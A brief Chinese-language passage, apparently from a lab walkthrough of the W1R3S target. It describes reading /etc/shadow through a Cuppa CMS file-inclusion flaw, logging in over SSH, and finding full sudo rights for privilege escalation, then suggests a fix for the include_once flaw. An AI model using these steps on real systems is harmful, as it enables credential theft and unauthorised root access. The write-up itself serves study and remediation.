在现在linux系统中，passwd文件里面所有账户的密码都是用x代替的，真正的密码（加密后）放在/etc/shadow中
我们把最后的/passwd改成shadow

ssh连接，连接以后用whoami,id,uname -a,id都看一看，理论上说他有一个www-data一个w1r3s 的话，说明w1r3s是可以通过sudo提权的，试了试sudo -l获得了all:all:all的

漏洞修复
这里的
include_once(realpath(__DIR__ . '/..')."/classes/Cuppa.php");
这是include_once（）函数导致的文件包含漏洞，修复时可以改变其函数类型，也可以去掉. '/..'让其无法返回上级目录
